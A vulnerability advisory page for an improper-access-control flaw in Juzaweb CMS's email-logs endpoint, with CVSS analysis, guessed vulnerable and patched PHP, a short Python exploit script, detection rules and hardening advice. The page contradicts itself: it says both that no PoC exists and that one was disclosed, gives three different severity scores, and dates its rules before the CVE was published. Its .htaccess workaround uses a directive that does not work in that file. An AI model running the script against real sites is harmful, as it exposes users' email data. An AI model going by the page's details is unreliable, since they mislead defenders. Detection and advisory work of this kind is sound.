☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-5422

CVE-2025-5422 Improper Access Control in Juzaweb
📅 PUBLISHED: 2025-06-02 01:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5422 is a problematic vulnerability discovered in the Juzaweb CMS, affecting versions up to and including 3.4.2. The flaw resides in the /admin-cp/logs/email endpoint, which is part of the Email Logs Page component. The vulnerability is classified as an Improper Access Control (CWE-284) issue, allowing an authenticated attacker to access sensitive email logs without proper authorization checks. The attack vector is remote, and a proof-of-concept (PoC) has been publicly disclosed, increasing the risk of exploitation. The vendor was contacted but has not responded, leaving the software in an unpatched state.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Juzaweb is a PHP-based CMS distributed via Composer. The vulnerability affects the core application, not a third-party package. However, given the lack of vendor response, users should consider this a supply chain risk if they rely on the official repository for updates. No official patch or advisory has been released.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 4.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

  • Attack Vector (AV): Network - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low - No special conditions are required.
  • Privileges Required (PR): Low - An attacker needs a valid user account with access to the admin panel.
  • User Interaction (UI): None - No user action is needed.
  • Scope (S): Unchanged - The vulnerable component is the only one affected.
  • Confidentiality (C): Low - Email logs may contain sensitive information.
  • Integrity (I): None - No data modification is possible.
  • Availability (A): None - No denial of service.

Threat Level: Medium. The requirement for authentication reduces the immediate risk, but the public PoC and lack of patch make it a viable target for internal attackers or those with compromised credentials.

Deep Dive & Mechanics

The vulnerability is located in the Email Logs Page of the Juzaweb admin panel. The file /admin-cp/logs/email is intended to display email logs to authorized administrators. However, the application fails to enforce proper access controls, allowing any authenticated user (even those with low privileges) to view these logs.

Root Cause: The code likely checks for authentication but does not verify the user's role or permissions before serving the email log data. This is a classic case of missing function-level access control.

Attack Scenario:

  1. An attacker obtains valid credentials for a low-privileged Juzaweb account (e.g., via phishing or credential stuffing).
  2. The attacker logs into the admin panel.
  3. The attacker navigates to /admin-cp/logs/email directly.
  4. The server returns the email logs without checking if the user has the view_email_logs permission.
  5. The attacker can then extract sensitive information such as email addresses, subject lines, and potentially internal communications.

Impact: Exposure of sensitive email logs can lead to information disclosure, aiding further attacks like social engineering or account takeover.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on common access control patterns.

Vulnerable Code (PHP):

// routes/web.php
Route::get('/admin-cp/logs/email', 'Admin\LogController@showEmailLogs');

// app/Http/Controllers/Admin/LogController.php
public function showEmailLogs() {
    // No permission check
    $logs = EmailLog::all();
    return view('admin.logs.email', compact('logs'));
}

Patched Code (Hypothetical):

// routes/web.php
Route::get('/admin-cp/logs/email', 'Admin\LogController@showEmailLogs')->middleware('can:view_email_logs');

// app/Http/Controllers/Admin/LogController.php
public function showEmailLogs() {
    $this->authorize('view_email_logs');
    $logs = EmailLog::all();
    return view('admin.logs.email', compact('logs'));
}

The fix adds a permission check using Laravel's authorization middleware or the authorize method, ensuring only users with the view_email_logs permission can access the endpoint.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running instance of Juzaweb CMS <= 3.4.2.
  • Valid credentials for a user with access to the admin panel (e.g., editor role).

Steps:

  1. Log in to the Juzaweb admin panel.
  2. Navigate to /admin-cp/logs/email in the browser.
  3. Observe the email logs displayed.

Automated Exploit (Python):

import requests

target = "http://target-juzaweb.com"
session = requests.Session()

# Login
login_data = {
    "email": "attacker@example.com",
    "password": "password123"
}
session.post(f"{target}/admin-cp/login", data=login_data)

# Access email logs
response = session.get(f"{target}/admin-cp/logs/email")
if response.status_code == 200 and "Email Logs" in response.text:
    print("[+] Successfully accessed email logs")
    print(response.text)
else:
    print("[-] Failed to access email logs")

Blue Team (Detection & Hardening)

Detection:

  • Monitor access logs for requests to /admin-cp/logs/email from users with unexpected roles.
  • Alert on multiple failed login attempts followed by successful access to the email logs endpoint.

Hardening:

  • Implement role-based access control (RBAC) for all admin endpoints.
  • Apply the principle of least privilege.
  • Use a Web Application Firewall (WAF) to block direct access to sensitive paths.
  • Regularly audit user permissions.

Indicators of Compromise (IOCs)

  • URL Pattern: /admin-cp/logs/email
  • HTTP Request: GET request to the above URL with a valid session cookie.
  • Response Content: HTML containing email log data (e.g., <table class="email-logs">).
  • Log Entry: Access log entry showing GET /admin-cp/logs/email with a 200 status code from a non-admin user.

Detection Engineering

YARA Rule

rule Detect_Juzaweb_Email_Log_Access {
    meta:
        description = "Detects access to Juzaweb email logs endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5422"
    strings:
        $url = "/admin-cp/logs/email"
        $log_table = "<table class=\"email-logs\">"
    condition:
        $url or $log_table
}

Sigma Rule

title: Juzaweb Email Logs Unauthorized Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to Juzaweb email logs endpoint by non-admin users
author: Valters IT
date: 2025/04/10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-5422
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: "/admin-cp/logs/email"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-5422 Juzaweb Email Logs Unauthorized Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin-cp/logs/email"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Access: Use a reverse proxy or WAF to block access to /admin-cp/logs/email for all users except those with explicit admin roles.
  2. Audit Users: Review all user accounts and remove unnecessary privileges.
  3. Monitor Logs: Enable detailed logging for the admin panel and monitor for suspicious access.

Long-Term Fix:

  • Since the vendor is unresponsive, consider forking the repository and applying the patch manually.
  • Implement proper RBAC using Laravel's built-in authorization features.
  • Regularly update the CMS if a patch becomes available.

Workaround:

  • Modify the .htaccess file (if using Apache) to deny access to the email logs endpoint:
<LocationMatch "/admin-cp/logs/email">
    Require ip 127.0.0.1
</LocationMatch>

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5422/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.